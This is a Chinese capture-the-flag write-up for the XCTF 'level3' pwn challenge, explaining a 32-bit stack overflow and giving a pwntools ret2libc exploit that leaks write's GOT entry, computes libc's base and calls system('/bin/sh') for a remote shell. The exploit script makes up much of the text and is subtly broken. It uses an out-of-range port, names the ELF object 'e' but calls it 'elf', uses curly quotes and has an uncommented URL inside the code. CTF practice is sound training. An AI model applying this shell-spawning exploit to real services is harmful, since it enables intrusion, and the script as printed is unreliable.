攻防世界PWN新手题
level3的WP
基本三步:checksec,file,执行文件
只开了NX防护,且是个32位的文件
放进IDA中查看
main函数中只调用了一个函数,vulnerable_function(),进入函数中查看
发现read函数可以制造栈溢出漏洞。
要注意,题目还给了一个库,level3的文件中没有System函数,所以只能调用库中的函数。同时,文件PIE没开代表libc中函数的编移量就是固定的,只要确认了libc的基址,然后计算出system函数的offset,就可以定位到system函数的真实地址,实现调用,最后get shell。
思路是有了,但实际上做起来,却完全不知道怎么做,只好去看大佬们的WP,才发现自己有很多知识都不懂,不知道,最后看了许多大佬的博客,才真正明白这题的做法。
大家可以看这两位大佬的博客
https://blog.csdn.net/elsa________/article/details/102459658
https://www.cnblogs.com/diaolan/p/13878518.html
EXP
from pwn import *
r = remote(" 111.200.241.244",551368)
#r = process(’./level3’)
context.log_level = ‘debug’
e = ELF(’./level3’)
libc = ELF(’./libc_32.so.6’)
#plt和got表的区别和用法,可以看这个博客
https://blog.csdn.net/qq_18661257/article/details/54694748
write_plt = elf.plt[‘write’]
write_got = elf.got[‘write’]
main_addr = elf.sym[‘main’]
#b’aaaa’为ebp,p32(1)和p32(4)为write函数的第一,三个参数,以write函数的got的地址为第二个参数,从而获得write的函数地址
payload = b’a’*0x88 + b’aaaa’+ p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendlineafter(“Input:\n”,payload)
#u32为解包
write_got_addr = u32(r.recv())
print(hex(write_got_addr))
#获取libc的基址
libc_addr = write_got_addr - libc.sym[‘write’]
print(hex(libc_addr))
#获取system的地址
sys_addr = libc_addr + libc.symbols[‘system’]
print(hex(sys_addr))
#计算字符串 /bin/sh 的地址。0x15902b为偏移,
#通过命令:strings -a -t x libc_32.so.6 | grep “/bin/sh” 获取
bin_sh_addr = libc_addr + 0x15902b
print(hex(bin_sh_addr))
#get second payload
#调用system函数,并设置/bin/sh的参数
payload2 = b’a’*0x88 + b’aaaa’ + p32(sys_addr) + b’aaaa’ + p32(bin_sh_addr)
r.sendline(payload2)
r.interactive()
成功get shell